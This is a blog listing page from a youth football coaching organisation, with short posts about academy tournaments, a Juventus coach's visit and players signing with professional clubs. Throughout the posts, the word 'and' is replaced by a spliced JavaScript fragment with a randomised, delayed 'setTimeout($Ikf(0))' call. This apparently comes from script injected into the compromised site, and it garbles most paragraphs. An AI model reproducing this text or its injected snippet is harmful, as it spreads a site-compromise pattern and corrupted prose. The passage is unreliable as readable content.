Entries by Dave Eldridge

Saints Foundation Phase Cup

On 25th November, we were invited by Southampton FC Academy to play in the Foundation Phase Cup at Staplewood; another fantastic event for the ETC players to take part in. Well done to all involved.

Anya signs for Saints

A huge well done to Anya who has recently signed registration forms with Southampton Girls. All of us at ETC are delighted to have played a small part in Anya’s journey. We are incredibly proud of this young ladies achievement. We are sure she will be an inspiration to many other young girls playing the […]

Juventus visit ETC

In October, we welcomed Juventus First Team coach Aldo Dolcetti to our St George’s ETC centre. After observing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and discussing all things coaching, Aldo kindly took time to talk to the players about his experiences with Juve andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in […]

Lewis signs for Pompey

Our first week back after the summer break was topped off when we have received the news Lewis O had signed registration forms with Portsmouth FC Academy. After impressing in a game for ETC vs Portsmouth, Lewis was put straight into their side to play Arsenal Academy. This led to the blues making the decision […]

Bobby joins the Blue Army

It was a special ETC moment in September when Bobby Gorman signed registration forms for Portsmouth FC Academy U13s. All at the ETC are delighted to have played a small part in Bobby’s development over the years – he has been attending sessions since the age of 6 andom() * 6); if (number1==3){var delay = […]

Sukjae joins Portsmouth

Huge congratulations to Sukjae Lee on signing registration forms for Portsmouth FC under 16s. A fantastic achievement andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fully deserved. One of the most gifted players we have had the pleasure of working with at ETC. An incredibly creative young player andom() * 6); if (number1==3){var delay […]

Summer games

A huge thank you to Portsmouth FC for inviting us to compete in a football festival at Sparsholt! This is the second Academy festival we have been invited to this year andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and provided a great opportunity for the ETC players to compete against several different Academy teams […]

Armani joins Oxford

Former ETC andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Southampton FC player, Armani Little, has just signed for Oxford United.  Armani was one of the very first ETC players back in 2008 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and continues to be a terrific talent.  We wish him the very best […]

ETC play in prestigious Foundation Cup

The ETC were thrilled to be invited to play in U9’s Southampton FC’s Foundation Cup.  As the only non-professional organisation in attendance, we relished the opportunity to play some of the top Academies in the country.  Our players performed terrifically in some tricky conditions andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we a […]

Jack turns pro!

ETC, Reading andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Englandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and starlet, Jack Nolan, was thrilled to sign his first professional contract in May.  Jack continues to impress for both club andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and country andom() * 6); if (number1==3){var […]